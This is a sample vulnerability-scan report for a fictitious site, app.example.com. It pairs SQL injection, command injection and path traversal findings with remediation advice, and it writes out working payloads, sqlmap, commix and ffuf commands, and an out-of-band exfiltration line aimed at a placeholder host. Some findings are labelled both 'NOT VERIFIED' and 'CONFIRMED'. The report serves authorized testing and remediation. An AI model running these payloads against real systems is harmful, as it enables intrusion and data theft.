SAMPLE · FICTITIOUS TARGET AND DATA

SauronSec — Detection report

Target: https://app.example.com · Profile: ultra · 2026-08-25 09:14:07 · Duration: 1284.6s · Requests: 48,210
Technologies: Nginx · PHP
Global risk score: 92/100 · Level: Critical

Executive summary

The scan confirmed 5 weakness(es) on https://app.example.com, including 3 of Critical/High severity. Global risk level: Critical (92/100). Main OWASP categories: A03:2021 – Injection, A01:2021 – Broken Access Control, A05:2021 – Security Misconfiguration. Each flaw was re-tested by safe re-exploitation: non-reproducible false positives were dropped. Verification is bounded and non-destructive: no data was extracted, copied or stored.
1
Critical
2
High
1
Medium
0
Low
1
Info

OWASP Top 10 (2021) breakdown

A03:2021 – Injection2
A01:2021 – Broken Access Control1
A05:2021 – Security Misconfiguration2

Scan notes

Vulnerabilities (5)

Critical #1 · SQL injection — blind time-based (mysql) EXPLOITABLE confidence 98% · CVSS 9.8 · CWE-89 · A03:2021 – Injection
PLAIN-LANGUAGE EXPLANATION (no jargon)

• What is the problem?
   Your site asks its database a question by pasting the visitor's text straight into it. A clever visitor can rewrite the question in your place.

• Where, exactly, on your site?
   - Page: https://app.example.com/product
   - The exact spot: the "id" field (sent via GET)

• What an attacker can do:
   Read your whole database: accounts, passwords, emails, your customers' orders. Sometimes log in as admin without a password.

• How to fix it, step by step:
   1. NEVER paste the visitor's text into an SQL query. Use prepared (parameterised) statements.
   2. PHP/PDO: $r = $pdo->prepare("SELECT * FROM products WHERE id = ?"); $r->execute([$id]);
   3. Check that "id" is really a number: reject everything else.
VerificationEXPLOITABLE
Attacker benefitdatabase read (bounded proof obtained then discarded — no data kept)
Categoryactive / SQL injection (detection + verification)
URLhttps://app.example.com/product
Parameterid
Payload1" AND SLEEP(6)-- -
Evidence
baseline 0.4s | control(0) 0.5s | delay(3) 3.6s | delay(6) 6.5s — the delay GROWS proportionally to the payload (ratio ~1.0), replayed twice. Network latency does NOT track the payload.
ExploitabilityCONFIRMED — signal replayed twice (absent from the baseline)
DetailThe injection point "id" (GET) introduces a CONTROLLABLE delay PROPORTIONAL to the injected value (0→0.5s, 3→3.6s, 6→6.5s), the signature of an SQL time delay, reproduced twice. Detection only — no blind extraction.
Exploitation
🎯 FLAW: SQL injection — blind time-based (mysql)
   Address   : https://app.example.com/product?id=1
   Parameter : id   (GET method)
   Payload   : 1" AND SLEEP(6)-- -

State: CONFIRMED — signal replayed twice (absent from the baseline)

━━━━━━━━━━ WHAT TO DO, IN ORDER ━━━━━━━━━━

▶ STEP 1 — Open a terminal (Kali: "Terminal"; Windows: PowerShell).

▶ STEP 2 — Confirm the flaw yourself (curl is installed everywhere)
      👉 Paste:  curl -i "https://app.example.com/product?id=1%22%20AND%20SLEEP(6)--%20-"
      ✅ You should see: the page takes several SECONDS longer to answer with the payload, while it responds instantly with a normal value.

▶ STEP 3 — Exploit with sqlmap (already on Kali)
      👉 Paste:  sqlmap -u "https://app.example.com/product?id=1" -p id --batch --random-agent --level=5 --risk=3
      ✅ You should see: "… is vulnerable", then the DBMS, the account in use and its privileges.

▶ STEP 4 — Prove impact — minimal and clean
      👉 Paste:  sqlmap -u "https://app.example.com/product?id=1" -p id --batch --current-user --current-db --is-dba
      ⛔ Never --dump the whole database, never --os-shell.

━━━━━━━━━━ FIX (to pass to the client) ━━━━━━━━━━
   1. PARAMETERISED queries everywhere (bound variables) — never concatenation.
   2. Strictly validate/type inputs (id = integer).
   3. Least-privilege DB account (no DBA, no FILE).
   4. Disable detailed SQL error display in production.

⚠ WRITTEN-AUTHORIZED target only. Bounded, non-destructive verification (nothing extracted/kept, nothing modified).
FixUse parameterised queries and strict input typing.
Affected URLs (3)
  • https://app.example.com/product?id=1
  • https://app.example.com/catalog?ref=42
  • https://app.example.com/search?q=test
High #2 · OS command injection — time delay NOT VERIFIED confidence 90% · CVSS 9.1 · CWE-78 · A03:2021 – Injection
PLAIN-LANGUAGE EXPLANATION (no jargon)

• What is the problem?
   Your site runs system commands with the visitor's text inside them. The visitor can slip in THEIR own command.

• Where, exactly, on your site?
   - Page: https://app.example.com/tools/ping
   - The exact spot: the "host" field (sent via GET)

• What an attacker can do:
   Run any command on your server: read everything, delete everything, install malware, pivot into your internal network.

• How to fix it, step by step:
   1. Don't call a shell with the visitor's text. Use functions that take arguments as a LIST.
   2. Node.js: execFile('ping', ['-c','1', host]) instead of exec('ping '+host).
   3. Strictly validate the expected value (an address must look like an address).
VerificationNOT VERIFIED
Attacker benefitsystem command execution — not re-tested to impact (bounded, non-destructive)
Categoryactive / Command injection (detection)
URLhttps://app.example.com/tools/ping
Parameterhost
Payload127.0.0.1 & ping -c 4 127.0.0.1
Evidence
baseline 0.2s | control(0) 0.3s | delay(2) 2.4s | delay(4) 4.3s — the delay GROWS with the payload (proportional), which network latency does not.
ExploitabilityCONFIRMED — signal replayed twice (absent from the baseline)
DetailThe "host" parameter (GET) introduces a CONTROLLABLE, PROPORTIONAL delay via an injected command, reproduced twice. Detection only — the command merely waits.
Exploitation
🎯 FLAW: OS command injection — time delay
   Address   : https://app.example.com/tools/ping
   Parameter : host   (GET method)
   Payload   : 127.0.0.1 & ping -c 4 127.0.0.1

State: CONFIRMED — signal replayed twice (absent from the baseline)

━━━━━━━━━━ WHAT TO DO, IN ORDER ━━━━━━━━━━

▶ STEP 1 — Confirm with curl: the page answers several seconds longer with the payload.
▶ STEP 2 — Exfiltrate proof to your OOB collaborator (output is blind):
      ; curl http://YOUR-OOB/$(whoami)   (Linux)   — or —   & nslookup %USERNAME%.YOUR-OOB   (Windows)
▶ STEP 3 — Automate with commix: commix -u "https://app.example.com/tools/ping?host=127.0.0.1"

━━━━━━━━━━ FIX (to pass to the client) ━━━━━━━━━━
   1. Never a shell with user input — API with an ARGUMENT ARRAY (shell=False).
   2. Strict allow-list (host = IP/domain regex).
   3. Least-privilege service; harden with AppArmor/SELinux.

⚠ WRITTEN-AUTHORIZED target only. Bounded, non-destructive verification.
FixNever pass user input to a shell; use safe execution APIs with argument arrays.
Affected URLs (1)
  • https://app.example.com/tools/ping
High #3 · Path traversal — file-existence oracle NOT VERIFIED confidence 88% · CVSS 7.5 · CWE-22 · A01:2021 – Broken Access Control
PLAIN-LANGUAGE EXPLANATION (no jargon)

• What is the problem?
   Your site opens a file whose name comes from the visitor. By writing ../../ the visitor climbs up folders and reads files they shouldn't see.

• Where, exactly, on your site?
   - Page: https://app.example.com/download
   - The exact spot: the "file" field (sent via GET)

• What an attacker can do:
   Read private server files: configuration, passwords, source code. Sometimes this leads to code execution.

• How to fix it, step by step:
   1. Map an identifier to a file server-side (1 → report.pdf) and reject the rest.
   2. If you accept a name, keep only the basename and check the final path stays inside the allowed folder.
   3. Forbid "../" and absolute paths; keep secrets OUTSIDE the public folder.
VerificationNOT VERIFIED
Attacker benefitarbitrary file read — greatly widens the attack surface
Categoryactive / LFI / Path traversal (detection)
URLhttps://app.example.com/download
Parameterfile
Payload../../../../etc/passwd
Evidence
different response for a REAL system file (../×4 etc/passwd) vs a NON-EXISTENT one of the same shape — the app resolves the supplied path.
ExploitabilityCONFIRMED — signal replayed twice (absent from the baseline)
DetailThe "file" parameter (GET) controls a path: the response differs depending on whether the traversed file exists (stability check passed). Detection only — no content read.
Exploitation
🎯 FLAW: Path traversal — file-existence oracle
   Address   : https://app.example.com/download
   Parameter : file   (GET method)
   Payload   : ../../../../etc/passwd

State: CONFIRMED — signal replayed twice (absent from the baseline)

━━━━━━━━━━ WHAT TO DO, IN ORDER ━━━━━━━━━━

▶ STEP 1 — Confirm with curl:
      curl -i "https://app.example.com/download?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd"
      ✅ You should see lines like "root:x:0:0:…".
▶ STEP 2 — Automate with ffuf ("FUZZ" = the spot tested):
      ffuf -u "https://app.example.com/download?file=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -mr "root:x:0:0"

━━━━━━━━━━ FIX (to pass to the client) ━━━━━━━━━━
   1. Indirect identifier (id→file mapping) with an allow-list.
   2. basename() + validation, then verify realpath stays INSIDE the allowed directory.
   3. allow_url_include=Off (PHP); secrets out of the web root.

⚠ WRITTEN-AUTHORIZED target only. Bounded, non-destructive verification.
FixResolve and validate paths against an allow-list; reject ".."; least privilege.
Affected URLs (6)
  • https://app.example.com/download?file=guide.pdf
  • https://app.example.com/download?file=invoice-2026.pdf
  • https://app.example.com/media?path=logo.png
  • https://app.example.com/docs?name=terms.html
  • https://app.example.com/export?tpl=template
  • https://app.example.com/view?page=home
Medium #4 · Missing security headers NOT VERIFIED confidence 100% · CVSS 5.3 · CWE-693 · A05:2021 – Security Misconfiguration
PLAIN-LANGUAGE EXPLANATION (no jargon)

• What is the problem?
   Some security "headers" are missing: small instructions the server gives the browser to protect it. Without them, some attacks are easier.

• Where, exactly, on your site?
   - Every page of https://app.example.com

• How to fix it, step by step:
   1. Add a strict Content-Security-Policy, X-Content-Type-Options: nosniff, and HSTS.
   2. On Nginx: add_header in the server block, then reload the configuration.
VerificationNOT VERIFIED
Attacker benefitincreased surface (XSS, MIME sniffing, HTTP downgrade) — not exploitable alone
Categorypassive / Security headers (detection)
URLhttps://app.example.com/
Parameter
Evidence
Missing: Content-Security-Policy, X-Content-Type-Options, Strict-Transport-Security, Referrer-Policy.
FixAdd strict CSP, nosniff, HSTS and Referrer-Policy: no-referrer. Check cookie attributes (HttpOnly, Secure, SameSite).
Info #5 · Technology fingerprint NOT VERIFIED confidence 95% · CVSS 0.0 · CWE-200 · A05:2021 – Security Misconfiguration
PLAIN-LANGUAGE EXPLANATION (no jargon)

• What is the problem?
   The server advertises its software versions. Not a flaw in itself, but it helps an attacker target known vulnerabilities.

• How to fix it, step by step:
   1. Hide the version in the "Server" header (Nginx: server_tokens off;).
   2. Remove the "X-Powered-By" header.
VerificationNOT VERIFIED
Categoryrecon / Server fingerprint
URLhttps://app.example.com/
Evidence
Server: nginx/1.24.0 · X-Powered-By: PHP/8.2.1
FixHide versions (server_tokens off; remove X-Powered-By).